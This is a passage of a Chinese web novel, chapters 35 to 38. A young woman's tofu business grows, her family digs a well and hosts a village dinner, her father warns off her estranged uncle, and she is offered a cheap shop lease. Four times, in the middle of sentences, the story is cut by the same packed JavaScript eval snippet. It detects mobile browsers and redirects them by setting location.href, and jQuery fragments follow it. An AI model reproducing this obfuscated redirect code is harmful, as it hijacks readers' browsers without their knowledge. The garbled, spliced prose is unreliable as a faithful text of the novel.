“是,这菜唤鹵豆干,不是多费事儿的做法,与爊肉同煮便是了。只它确实适合当下酒菜,朱家分茶店不是正店,也能凭着这拼盘赚好大一笔酒钱。林掌柜管理的丰乐楼可自家酿酒来卖,有这拼盘,估摸着能添个助力。”林真道。 “多谢林娘子想着,不知这豆干作何售价?”林福很是上道,林娘子应是要销豆干。 “啊?不,小哥误会了,朱家是从我这头拿的豆干,我这豆干供应他一家已快供不上了。可不敢再应下丰乐楼的生意。”林真赶紧摆手。 家里人已经够累了,若想供上丰乐楼的货,必要扩大生产线,那就要加人手、打石磨,说不得,还要再去买一头驴子来。 可等夏日一过,最多坚持到仲秋,这冷冰冰的鹵豆干和爊肉销量一定会降。那时候,她又往哪里去销恁多的豆制品? “啊?这,这可真是……” 天下竟真有这样白白做好事的人?林福实在震惊,都不晓得该如何接话。 “嗐,上回有林掌柜和林小哥相帮,家里说买驴就买着了,对你们来说不算甚,可实实在在是帮了我大忙。我只是想回报一二,小哥莫要多思。且这也算不得甚,林家消息灵通,这鹵豆干又不是甚稀罕的吃食,你们迟早会晓得的。”林真想得很明白。 不说林掌柜背后的林家。就她每日还挨着福源斋的小伙计支摊子,林掌柜迟早会晓得鹵豆干的。还不如现在这样,凭着这个消息还人情,已经是她占便宜了。 “林娘子实在仗义,晓得你不喝酒,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16415839|181561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以香饮子敬您一杯,往后,咱们可要常来常往的才好呢!” 倆人将香饮子一饮而尽,瞧着多豪气,可嘴里尽是酸酸甜甜的味儿,对视一眼,不禁好笑。 林真生意好,和林福说完话后倒是溜达着往城门口去,与马娘子说笑几句,等着贺景来接。 唉,家里人实在少,要打井要磨豆子制腐竹豆干,人人都忙得团团转,连燕儿都被苗娘子捉走,去帮着烧火熬豆儿水。 她一人出来摆摊,还怪寂寞的呢。 这头,林福没回丰乐楼,反而去了兴福坊。福源斋摆摊的小伙计见了他,很是殷勤,左一句福哥哥,右一句福管事。 林福问清楚鹵豆干的事儿,心里有了数,又着意叮嘱伙计。 “林娘子是林大掌柜的好友,平日里多照顾着些,多搭把手。”林福解下腰间的荷包直接递给伙计,“周到些,少不了你的好。” 伙计手一摸,估摸着荷包里至少一串钱,眼一亮,将胸脯拍得震山响。 “福管事放心,有我瞧着,看谁敢不长眼地来找林娘子麻烦!” 宰相门前七品官,背靠林家的伙计,在这商人聚集的兴福坊内,确实敢夸下这个口。 “嗯。”林福满意点头,背着手走了。 一直注意着这边的老巡栏,眼中精.光一闪,快走几步,赶上林福,小声道:“福管事留步。” == 只七日,林家的井已经打好了。 俱是用的好料子,青石板砌的井台高出地面些许,防着污水倒流;井栏、井口石、汲水的辘轳、省力的桔槔滑轮一样不少。 工匠还多是细心,用剩下的料子挖了一条排水沟,直接通向院外去,瞧着还怪是好看的。 风水先生打包票寻出的位置实在是好,才出水的时候就是大股大股往外冒,打井队的都说好。且那井里的水一点儿不浑,清凌凌,一眼能瞧见在里头悠闲游动的一龟一鱼。 “这井出水好,可也要辛苦几日,日日都要将井里的水打干净了,这样往后便是遇上灾年都不容易干。再有,这井水还不能吃,再等个十日,我自会往这头来,等验了水,吃着才放心不是?”打井队的领头细细叮嘱。 边上围着瞧热闹的村人心里一阵感慨。 瞧瞧,到底是县里请来的打井队,活儿做得又快又好,还这样细致周到,连验水都一并包了。林屠户家打这井虽说多费了些钱,可瞧着就是好。 “我家往后打井,也要去县里请匠人来!” 人多,也不知是谁这样嘀咕了一句,可不少人都在心里暗自认同。 这时候的师傅这么负责的嘛?还包售后。 林真被打井队的负责打动,送人出去的时候,还一人捡了一方熏豆干带走。 林屠户忙着请村人吃茶,陪着说说闲话,等院儿里好不容易清静了。 他背着手,踱着步子,刚想好生瞧瞧自家的好井,却听得真姐儿幽幽道。 “瞧瞧这井,一水儿的青石料子,再瞧瞧咱这院儿里,可真真是不相配。” 林屠户脚步一顿,拐着弯躲开去。 35. 第 35 章 又十日,打井队的匠人来验水。 “成了!你家这井是真好,先前才加了一回生石灰和白矾,这水就见着清澈,我那时就晓得这井准能成!”匠人又将井里的一龟一鱼都捞出来。 这是要送出去放生的,也有个祈福的意思在里头。 林真瞧见那俩小东西在桶里游得自在,暗自点头:瞧这活蹦乱跳的,这水能放心吃用。 等送走了打井匠人,贺景当即将家里两只大水缸都给装满。 “停,这头一茬的水可不能用来磨豆子,家里人也别喝。”这可是那俩小东西的洗澡水呢! 水也没浪费,夜里烧了,一家子痛痛快快都洗了个澡。 林真躺在竹席上晾头发,小腿一晃一晃。真是舒坦,上辈子随时随地痛快洗澡的日子在这里显然过于奢侈,这还是她这几个月头一次这么不吝惜用水呢! 还是家里有口井来得痛快啊! 贺景端了一碟子切好的甜瓜和李子来:“在井里湃过的,起来吃点儿。” “嗯?谁送的甜瓜?”见着了甜瓜林真才觉着失算,她今儿应该买一个大寒瓜(西瓜)回来的! “茂青大哥送来的。” 林真拿一块,一口下去,又甜又脆还冰冰凉。 “对了,爹说想请客呢。以往村人打井都请客的,咱家这回虽说没请族人相帮,可家里两回办事,少不得村人相助。远的不说,很该请大伯一家子吃顿饭。” 贺景将林屠户的话稍加润色,一一说给林真听。 “怪了,我爹怎不自个儿来给我说?现反倒是与你多亲近。”林真奇怪。 “从前爹赚钱养家,是家里的顶梁柱。现在么,你赚钱养家,我估摸着,爹心里有点儿不得劲。”贺景斟酌道。 林真猛然直起身,还真是有可能。 她不由懊恼,林屠户正值壮年,自身也是有手艺在身的人,可因着家里的变故,许久没进账不说还一直被家里的事儿绊着手脚。 短时间内瞧不出甚,可时间一长,定会出问题。 “我想着,请几家亲近的人家来热闹一回也是好的。不是摆席,顶多三五桌的,不费事儿。”贺景瞧着林真不知在想些甚,又补了一句。 “在村子里过活,是得常与亲近人家走动。关系近了,来往得多,家里要办些甚事儿,一招呼,不缺人来帮忙。” 林真回过神来点点头:“成,爹本就是个爱热闹的,既要办,那就好生办。前些日子族长家给咱家帮了不少忙,这回将族长也请来,教我爹去收头猪来杀,一半卖一半自家用。卖不出去也无妨,咱家有井,能放,也能与熏豆干一道制成肉干,不必担心浪费了。” 林真脑子一转,便起了主意,想借着此事教林屠户从制腐竹一事上脱开身去,将从前的手艺再拾掇起来。 “对了,还没问过你呢?整日在家里磨豆子滤豆浆可是无聊?你可有想做的营生?”林真琢磨着,也不能厚此薄彼,也问问贺景的打算。 贺景眼睛睁得大大的,瞧着有些呆,好半天,才小声道。 “我没甚本事儿,从前只想过,能有几亩薄田种粮果腹便好。若运道好,能存下钱来,再挖个鱼塘种桑养鱼养鸭。” “啊?种地?”林真一惊,她可不乐意种地。 只有没下过田的人才会想着种田,但凡掰过玉米起一身疹子;割过麦教麦芒扎得又痛又痒的人,是不会生出这种想法的。 这也是林真从未想过买田的原因。 不过,这是贺景想要的,只要不让她去帮忙,那就无所谓。 “成!等咱有钱了就置地挖鱼塘,可咱们先说好啊,我可不会下地的。” “嗯!我自然不会教你干这些粗活的!” 林真沉默得有些久,贺景一颗心都快沉到底了,听了她这话,一下子又精神了。 倆人,对着那还没影儿的田地说得倒是兴头头,很是热闹,都盘算着要养些甚鱼来吃了。 “哎呦,差点儿忘了我爹了。你去给我爹说说请客的事儿,这回倒是去青桑村将我姑也请来。”林真对这个给她爹和她都送了一床厚绵衾的姑姑映像很是深刻。 “他们兄弟姊妹的,成家后也难得相见,一并热闹热闹。” “成,我这就去。” “是得快些去,不然啊,我爹夜里怕是睡不着。”林真撇嘴,还是有一点点酸。 林屠户果真还在院儿里喂蚊子呢! 见着贺景出来,眼一亮,又听得真姐儿同意了,果真欢喜。 “成,我去收猪来杀!教真姐儿不肖掏钱,我出钱!”林屠户将胸脯拍得邦邦响,又道,“只是要教你受累了。” 过了这么些日子,林家人都反应过来了,于烧饭一事上。苗娘子不会整治好饭食,林真也是个会说不会做的。 家里这些人,居然只有贺景擅长此道,只要听林真说上一回,便能烧得一手好饭食。 “我细细算过,将你大伯大姑一家子都喊上,再喊上族长和一些有交情的人家,坐得宽松些,也只四桌人罢。既是小聚,倒是不好去请灶人来,只得劳你动手。” “爹怎生如此客气,咱家请客吃饭,我自是要操办的。”贺景一口应下。 既是要请客,那便赶早不赶晚,秋收将至,若是遇上农忙,再是好的饭菜也顾不上吃。 林屠户既包了菜钱,林真想一想。 先去朱家分茶店定下四个拼盘、两壶清酒并一罐子可兑水喝的青梅露;又往酱坊去,香醋、大酱都买些,隔壁是油作坊,又搬一坛子菜籽油和一壶香油回去。 最后又指挥着贺景往果子行去,她心心念念的寒瓜,她来了! 寒瓜在这时不常见,要不是慈溪县繁华,水路陆路并有,走南闯北的商人多会经过此地。怕是见不着寒瓜,只有当地的甜瓜可吃。 是以,要买寒瓜,还得往果子行去。 林真搬了两圆滚滚的寒瓜,捡了一兜子梨、李子之类的时令鲜果,将驴车塞得满满当当才罢手。 心情大好,许久没体会到如此买买买的爽快了! 特别是当搬运工兼车夫的贺景很有眼色,只帮着讲价绝不唠叨,瞧着她一气儿花出去一贯多钱,也不多言半句。 家去,林屠户收来的猪被关在后院,食槽里只有水没有食,饿得直哼哼。 可林屠户多高兴,瞧见倆人进门赶紧显摆。 “今儿村人瞧见我拉了猪来,好些都喊着要买肉,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16421477|181561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕明儿请客不够吃,只许了小半扇出去。我后日在村里转转,要是买肉的村人多了,再去收一头猪来宰杀了。村里卖些,再赶着驴车去别处转转,差不多能卖完!” “成,眼看着要秋收了,您趁着这段时间多跑跑,多给人说说咱家收猪卖肉的事儿。将路跑熟了,往后您就定个时间,三四日宰一回,订着日子往周边村落叫卖。如此,咱在家里就能将这肉摊子支起来,咱家又多一样赚钱的营生。” 林真鼓励道,反正下半年确实是猪肉畅销的时候,秋收、中秋、冬至、年下…… 不止自家要买来哄哄嘴,走礼拿条猪肉也显得体面些。再不济,若真卖不完,留着自家吃也不亏。 “果真?”林屠户先是一喜,又皱眉,“可家里这些活儿全压在你们身上,不妥不妥……” “爹,咱可以雇人啊!家里现就滤豆浆活儿重些,您寻摸个靠谱的族人来。咱只需雇半日,一日给二十个钱,不包饭食。如此也不耽搁家里的活计,您去问问,应当很好找人的。” 林真自从起了心思让她爹重新杀猪摆摊后,心里就已将盘算好了。 “确实能找着,这事儿你怎不直接喊你堂哥来?”林屠户疑惑,就像林真所说,半日工,就在家门口,既不耽误事儿工钱还高,对只有一身力气的农家人来说。 是打着灯笼都难找的好活计,怎不直接教大哥家俩兄弟来? “茂安哥往外卖豆干的生意好,怕是不想丢开手。大伯家只茂青哥能应,我若去喊,茂青哥定然会应,可就怕大伯家里也忙。你私下去问问,若是茂青哥不愿意,再去找其他人。” 林真觉着,他茂青哥是定然不会应下的。 一来确实是人手问题;二来,自从出了水井事件后,茂青哥心里怕是不好意思再来自家赚钱了。 一边说,林真一边将寒瓜果子都湃在井里,瞧着俩大西瓜美了好一会儿,这才去帮着搬东西进灶屋。 “咦,您还买了兔子?可真真是大手笔,正好,好肉配好酒,给您打的清酒呢!” “哪是我买的。今儿我出门请客,整好遇见了咱村的猎户,我与他也算有几分交情,既撞见了,自然也要邀一邀他的。人是真大方,下半晌就给送了俩兔子来,还是剥了皮子处理好的哩!” 林屠户说完,又搓着手问。 “还买的清酒啊?弄得这样好。” “请客吃饭么,自然要招待好客人。我还买了青梅露呢,明儿我们女桌也吃个尽兴,您没忘了给有文叔说定要请容娘子来吧?我成婚时,她跟着跑前跑后帮了不少忙。”林真有些奇怪,俩兔子可不便宜,寻常吃饭,走礼这么重的吗? 可瞧她爹那样子,也问不出甚来,只能暂且放下不提。 “嘿,我自然特意请了的。”林屠户答一句,一下子找着了那两壶清酒。 抱着稀罕了好一会儿,亲自放在柜子里上了锁。 好东西啊!可别教耗子糟蹋了。 他心里多高兴,将自己家杀猪那套刀具找出来用细磨石好生磨了磨,还抹了猪油。 他说请客,一家子都如此用心操办。 且后头真姐儿还出了好点子,又能杀猪来卖,家里又多个进项,他实在高兴。 36. 第 36 章 一大早,才将将吃了朝食,林大伯一家俱往林屠户家来了。 男人帮着林屠户按猪宰猪,妇人洗菜剥蒜,忙得好不热闹。 “小婶,真姐儿今日还去摆摊了呀?”林巧儿没瞧见林真,随口一问。 “是,真姐儿说这摊子一支起来了就不能停。日日都得去,前些日子赶上落雨的时候,她批着蓑衣斗笠也是要去的。”苗娘子答道,“且真姐儿说好今儿要带好菜家来,必要去县里的。她也晓得今日家中请客不该怠慢,今儿拿的货少,必能早些家来。” 一番话,处处是维护。 “哇,真好!我今儿可有口福了,有鸡有兔有肉,还要专从县里带好菜来!”林巧儿心大,一门心思在吃上。 李金梅一边为二房一家子的心齐和睦感到高兴,一边忍不住又瞪了一眼自家不省心的大儿媳妇。 搁往常,他们两家哪里需要多废口舌来解释这些个细枝末节。 挨瞪的刘桂香不敢说话,只能低头,默不作声择菜叶。 不多一会儿,家住青桑村的林香莲一家子赶着驴车也来了。 “大姐,怎来得这样早?你离得远,很不必赶着来,咱这些人,还整治不出几桌子菜来?”正刮猪毛的林屠户瞧见林香莲一家子进门,不免道。 “你请客吃饭,我怎能不来给帮帮忙?” 林香莲先招呼林巧儿将家里的倆小崽子领走,自个儿腾出手来加入备菜队伍里头,又瞪一眼丈夫:“还不去帮忙。” 林巧儿和燕儿这倆当姑姑的,混在三个萝卜头中间,围着林屠户,闹着要炙猪肉来吃。 林屠户由着她们,给割了好些肥瘦相间的五花肉,林巧儿在院儿里堆个火堆,高高矮矮的姑侄几个围成一圈儿,一人举一串儿肉,撒些粗盐,个个吃成小黑嘴,连晌午饭都不肖吃了。 李金梅瞧着混在一群孩子里头的林巧儿眼前一黑:都要说亲的人了,怎还是一副小孩模样! 有心说她几句,可心里也是疼的,女儿家,也只有作姑娘的时候才能松快几分。最终只不痛不痒说几句,不好好吃饭之类的话。 可林巧儿还多有理:“夕食才是正经菜呢!我且留着肚儿吃好菜。” 林真才进门就听见这番道理,凑热闹道:“确是这个理,咱巧儿才是斟聪明呢!” 林真现已熟练掌握蹭车技巧,今儿又是蹭着米行送豆子的车回来的,手里还提着一个大大的食盒。嗯,这食盒是找朱掌柜暂借的。 家里这会儿现成的劳动力多,三两下就将豆子卸下装仓。 米行的伙计多有眼色,晓得主人家有事儿,并不多留,卸完货便要走。林真捡了几只湃过的梨子送人,又谢过一回米行伙计,多走几步,将人送出门去。 “唉,真姐儿,可认得我?”耳边忽听一陌生男子招呼她。 林真打眼一瞧,心里一乐,这不原身那倒霉舅舅么? 她冲人一笑,也不说话,只转身进屋去,还将院门大大敞开。 她倒要瞧瞧,这人有没有胆子在这时候往她家里来。 “唉!你这……” “真姐儿,你送个人怎恁磨蹭?赶紧来,你说那兔子要怎么烧来着?”林茂安来喊人。 陆富贵瞬间咽下嘴边的话,一下子缩回暗处。 林老大家这倆儿子可不好惹,特别是这小子,上回来搬砖瓦的时候差点儿打起来,今儿他可是一个人来的,真被打了也找不回场子。 林屠户家飘来阵阵肉香,陆富贵缩在外头,蹲在杂草丛里。嗅着林家传来的肉香一阵心疼。 “这是放了多少肉?多少油?哎呀!怎还有鸡汤的味儿?请这一回,要废去多少银钱?” 陡然,一阵又呛又辣的味儿传来,里头还混着一股奇妙的肉香,更显霸道与异香扑鼻。 陆富贵不受控制地咽了咽口中的唾沫,更着急了。 “怎舍得下这样多的香料?得多贵啊!” “真姐儿下油下料那手,着实重。”林家院儿里也有人心疼。 林香莲小声嘀咕一句,可又觉着侄女儿大方又贴心,还将她挂在心上。 家里治了好菜,巴巴地使唤林屠户上门来请,若不然,这不年不节的,也不是办甚大事,她还真不好轻易回娘家。 茱萸辣中带着辛味,且那股子辛味儿有点像中草药的味。可用热油这么一滚,又加了姜蒜花椒,那股子辛味一去,便只剩下香辣。 麻辣鲜香、肉质滑嫩,便是这道高温快炒的爆炒兔丁之精髓。 随着这道菜出锅,林屠户请来的客人陆续上门。 人人手里还都提着些东西,或是一把菜园子里的好菜或是自家腌制的咸菹酸菜,连已经送了俩兔子的猎户家,居然又提着一壶米酒来。 院儿里一下子热闹起来,众人闲聊几句,便帮着摆桌子端菜甚的。 要开席咯! 四桌人,吃酒的男人俩桌,妇人小孩儿两桌。 有爆炒兔丁和鹵味拼盘,不止男人们吃酒,林真将吊在井里的青梅露提上来,豪气道。 “咱们也走一个!” 林巧儿在一旁助阵:“就是,就是,怎能只教爹他们喝尽兴,咱们也喝!” 青梅露是要兑水调的,林真家来头一件事儿就是将一整瓶青梅露兑好,征用了林屠户装米酒的酒瓮子,吊在井里许久,这时候喝来,带着丝丝凉意刚刚好。 众人都倒了一碗,连燕儿都有半碗。巴巴儿地举着碗,一起碰了一个。 原本最是拘束的荣娘子和苗娘子,有这么一出后,脸上的笑都深了几分。 男桌那边儿更是热闹,贺景也陪着喝了一碗。他原就会说话,一顿饭的功夫下来,刘元拍着他肩膀直叫‘好侄儿’,那模样,不晓得的,还以为贺景是刘家子侄。 总之,一桌子人,就没有不赞的。 男桌赞贺景,女桌夸真姐儿。 林屠户满面红光,高兴得不知如何是好,只一味喝酒,只要有人赞,他就拉着人喝酒。 众人俱相熟,且都有几分豪爽脾性,吃耍做乐,好不尽兴。 因着林香莲家远些,今日这顿饭吃得早,结束得也早。可众人离去时俱是满脸笑,带着满身的酒香和肉香。有些吃酒上脸子的,面上还起了两团红晕。 林屠户和贺景将人一一送出门。又回来跟着林真劝大姑一家子今晚留宿。 “姑父是吃了酒的,怎好还赶着驴车家去?” 那啥,驴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16432119|181561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 车也是车,可不敢酒驾。 林香莲将眉一挑:“真姐儿小看人了不是?你姑姑我赶车的手艺可不比谁差,晓得他今日要喝酒,那样好的梅子露我只喝了一碗,可不就是防着你姑父那端着酒碗就不放的性子?哼!我且用不着靠他呢!” 刘姑父在一旁赔笑。 林香莲摆摆手:“甭劝了,趁着日头还没下去我且要赶路呢!下回,你只要去请姑姑,姑姑一准儿来的。” 说罢,张罗着自家的俩崽子上车,很是潇洒地走了。 林真盯着瞧,同是驴车,她姑这可不是空荡荡的板车,而是带顶棚有车厢的辇车。里头还垫了席子铺了旧棉絮,少了许多颠簸之苦。 心动,想要。 她先前淋雨去县里的时候,要是有这样一辆辇车,可少受好些罪。心里细细算过一回账,再有一个月,她先攒下钱来修葺屋子,再攒些钱来置办辇车。 来得及! 想到修葺屋子,林真想起先前畏畏缩缩躲在墙外窥探的人,眼一眯。 啧,今日实在欢喜,先让她屠户爹睡个好觉罢了。 林真有惊喜要给她屠户爹,贺景也有话与她说。 院子林大伯一家子帮着收拾了,倆人烧了热水洗涑过后躺床上,都没睡意。 贺景打着蒲扇,推推林真:“真姐儿,我跟你说,今日来的沈猎户父子,怕是想跟着爹学屠户手艺呢。” “嗯?怎没听我爹说起过?” “沈家父子没明说,是我猜的。他们席间多引着话头往这上头来,又多捧着爹。还有,沈家送来的礼可重了,连最是讲究的族长家,都只提了一篮子葡萄来。沈家可是送了俩兔子又打了酒来,言语间多客气,说是自家贪杯这才带酒,可我瞧着,他们倒是多捧着爹喝,自家没喝恁多。” 贺景将席间的见闻一一道来,他现在林真面前已不怎么避着自个儿这擅于揣摩的本事儿了。 “嗯?就一顿饭你就琢磨出这许多,真是厉害。”。 瞧,就是这样,林真只会赞,可不会露出那种忌惮又嫌恶的神色。 “哎,咱商量个事儿啊。家里请人来滤豆浆,重活儿有人分担,我也在家里躲躲,你往县里摆摊去,咱俩换着来罢?”林真一下子将话题拉偏了。 先前以为有贺景能和她换换,她也能缓缓。 可谁晓得,丰乐楼要腐竹,家里活计番了一倍,只能将贺景留在家里帮着滤豆浆。 “咱说正经事儿呢!”贺景不满。 “我说的也是正经事儿啊。”林真更不满。 她随即又叹道:“你不跟着爹学杀猪,我也帮不上忙。若是有个勤快力壮的肯帮爹一把,我乐意着呢。你不晓得,爹年轻时不惜力,身上很是落了些伤痛。” 贺景一下明白了,先前真姐儿隐约不大乐意爹再去杀猪,根由原是出在这头上。 “只不晓得我爹是个甚意思,先前当徒弟好生教导的那个不是个东西。现自个儿找上门来的沈家又是甚样呢?” 林真想了想,又戳戳贺景。 “你们爷俩现多亲近,你与爹提一提。若那沈家是个好的,劝着爹应下此事来。” 这人,还记着请客先与他商量这事儿呢? 37. 第 37 章 隔日一大早,才梳洗完就去找她屠户爹。 “爹,起了啊?”林真笑眯眯。 “咋了?不一向这个时辰起的麽?”林屠户奇怪。 “哎,跟您说个事儿。昨儿咱门口有个面黑矮个儿的大伯叫住我,问我认不认得他。我还以为是您请的客人,可瞧着他磨磨蹭蹭不大敢进门的样子,很是可疑。便想先来问问您,可您却说客来齐了可开席。我忙着招呼客人,转头就将此事忘了去。今儿才想起来要问问您。” 林真继续装傻:“那人面相瞧着憨厚,可眼珠子直转可不像是个好的。对了!他脖子上有一片青黑,似乎是胎记。您可识得这人?” 林屠户先听着还没放在心上,等林真描述出陆富贵的面貌后,心里一抖。 啧!他从前可没拦着陆家人来瞧真姐儿,是陆家人自个儿不来。后头他觉出真姐儿似乎不大愿意提起陆家那头,便从不在她面前说起。 这院儿里被扒拉成这样,他可还没跟真姐儿说呢!(林屠户显然还不知道自家已经被巧儿卖了。) 那陆富贵怎这时候往真姐儿跟前凑? 林屠户眉头一皱,可别是瞧着真姐儿能挣钱了,又想从她身上捞好处罢? 这可不成! 从前只是瞧在秋娘的面上,即便那陆富贵时不时来肉摊子上讨便宜,可自个儿与他舅兄一场,他占些便宜就算了。 可真姐儿不一样,从没得过外祖舅舅的好,幼时还常被小童奚落。 陆家任何人,都别想打真姐儿的主意! 从前不出现,往后便也不必出现。 “是爹从前的旧相识,早已断了往来。你不肖担心,爹自会处理,必不让这人扰了你的清静。”林屠户面上没露出甚。 可在家滤完豆浆后,赶着驴车便往陆家村那头去了。 他也不登从前岳家的门,只托村人将陆富贵找来。 “姐夫!您找我?”陆富贵颠颠儿的来了。 真姐儿还是识得他的,与林屠户一提,隔日就上门来,怕不是来给他送肉的罢? “富贵啊,可别这样唤我了。”林屠户眉毛都不动一下,将剔骨刀抽出来,摆在驴车上。 “咱俩家早断了往来,两姓的族长都晓得,还作了见证,可不好再乱攀亲戚。” “这,姐夫,这是怎说的?当年我说不上话,要是能说,我一准儿拦住爹娘,您可别跟二老计较。”陆富贵忙道。 “是,你陆家二老还在,我也从不踏陆家村的地儿。” 林屠户说着,将剔骨刀往板车上一杵,寒光一闪,陆富贵生生停下往前凑的步子。 “可我爹娘,却早早便走了。全是我这不孝子,教他们晚年还不得安生。”林屠户语气十分平静却莫名森然。 陆富贵往后退了两步。 林屠户看他一眼,道:“往后,你别往枣儿村凑了。” “晓得了,晓得了。”陆富贵瞧着林屠户手里比划着那老长的剔骨刀,心中发紧,忙不迭应下。 “对了,你怎会往枣儿村去?谁给你透的消息、指的路?” “肉行那头的巡栏,您常与他喝酒的那个。” 陆富贵缩着脖子老实交代。 他昨日还像往常一样想去林屠户摊子上讨些肉来解解馋,可却扑了个空。 多问几句罢,那肉摊上的屠户还叱他晦气,还是那巡栏给拦下的。 又说了林屠户早回村去了,还说林家现在可不得了。姐儿多出息,攀上了贵人,那日子过得啊,可真真是富得流油。就说林屠户罢,正当壮年,居然也不做事了,每日只甩着手过老太爷的日子。 教人好生羡慕。 陆富贵一听,一颗心早被高高吊起,简直是一刻也等不得。转身便往枣儿村跑,还正好遇上了林家请客吃饭。 躲在墙根儿小半天,肉没捞着一口,可肉香都闻了个饱,这不跟那巡栏口中的神仙日子对上了吗? 可他瞧见林家兄弟几个俱在,他敢往里头凑。 好容易碰着落单的真姐儿,话还没说几句呢,又教人打断了。 现在更好,他这屠户姐夫直接上门威胁起人来了。真真是富贵了,瞧不上人了! 陆富贵心中多有怨言,可一句话也不敢说。 这林屠户生得高大,干得又是杀猪这行当。 血见得多了,身上自有一股子煞气,瞧着当真不好惹,他着实不敢多言。 == 另一头,照常在县里摆摊的林真也得了隔壁福源斋小伙计递的消息。 “林娘子,这头那姓王的巡栏不是个好的,现已被打发往别处去了。林大掌柜亲自与江攒典说的,这人往后便不会凑到您跟前来了。” 嗯?王巡栏? 自从上回打她亲事的主意不成后,这人都许久没往她跟前凑了,怎会突然说起这人?且言语之间,还做足了暗示: 晓得这人与你不对付,我们掌柜的已出手帮你摆平了。 林真笑着与小伙计寒暄几句,顺势吹捧了一下林掌柜,言语间一副十分感激的模样。 这时候可不能露出一点儿‘此事与我无关’的苗头来,若是教小伙计这样混在中间的人有误会,反会生事。 可林真也没打算揭过此事,这种事必要问个明白。不然,万一是有人打着她的名头来搞事,会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16436511|181561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坏了她好不容易才经营起来的关系。 必得去找当事人弄个明白,决不能就此含混过去。 林真心里暗暗懊恼:人,果然不能干坏事儿。 她今儿一早去给她屠户爹‘添堵’,这不,转头自个儿就遇着了烦心事。 心里虽添了事儿,可林真面上没带出来。 来买腐竹豆干的妇人娘子或是顽笑几句或是讨要些添头,她也不恼,照样笑盈盈。 早早收拾了摊子,将东西往巡栏那棚子里一放,压下两枚铜子。脚步匆匆,连垫肚子的饼子都顾不得买,转身就要去寻林福。 “林娘子留步。”老巡栏从棚子里出来,叫住林真。 “老朽有几乎话与你说,坐下来吃盏子茶水罢。” 林真皱眉,才要推辞,又听得那老巡栏对那年轻些的巡栏道。 “守哥儿,将铜子退与这位娘子。你也认认人,往后这位娘子来此处寄存家伙什便不肖收钱。” 嗯?这称呼,林真立在原地,不动弹了。 “这是我孙子,刚巧,王巡栏办事出了些差池,教打发回去守肉行那处。我这孙子运道好,便顶了此处的差事儿。”老巡栏缓缓道。 林真眉一挑,得,当事人自个儿找来了,她不必跑了。 “成,讨您老一盏子茶吃。” “老头子借着林娘子的东风将那王巡栏打发走,便很该请你吃盏子好茶。”老巡栏人老成精,本就有意留意着林真,自是晓得该如何与她打交道。 开门见山,一句废话都没有,直接承认了自己做的事。 “林娘子不必忧心,那姓王的办事本就不讲究,已是惹下好些怨言,我使些力气,再请林掌柜言语几句,便将那姓王的打发回老地方去了。老头子也晓得这事办得不地道,是以,便另想了法子给林娘子赔罪。” 老巡栏快言快语,压根不用林真搭话。 阐述事件经过+强调结果+道歉+提出补偿一气呵成,教林真还怪惊讶的。 果然,能在此处当巡栏,还又将自家孙子拉扯进来的人,可真不是省油的(登)灯。 “我家在慈溪县多年,虽只是最底层的胥吏,可也是能得几分灵通消息的。我那小女婿是个庄宅牙人,他手头整好有间抢手的铺子要赁出去,长兴坊打头的门脸铺子,走几步便是主街。林娘子若是要赁,牙钱不说,那铺子一月只收你两贯钱,半年一缴,如何?” 这还问如何? 林真听见了自己心动的声音,她端起凉茶喝了一口,镇定道:“这样好的铺子作何如此价廉?可是有甚缘由?” 这老登精得很,林真可不敢全然相信他的话。 38. 第 38 章 铺子,林真当然是想过的。 特别是每每被疾风骤雨袭击,整个人和竹筐子一块儿缩在大青伞下时,瞧着铺子里安安生生坐着的掌柜们,就很是羡慕。 可慈溪县内的正经铺子,最是便宜的那种,一月也要赁个八百钱。这个价位,还只能赁到偏远清冷的地头上去。 而老巡栏口中的长兴坊,与兴福坊相隔不远,住户自然颇有家底;且那铺子又临近主街,那真真是好地方,人流量极大,只要东西不差,不愁没生意。 可那样的好地方,便是窄小些的铺子,一月赁个两三贯是不成问题的,且人还要一年起赁,有些傲气的,要三年。 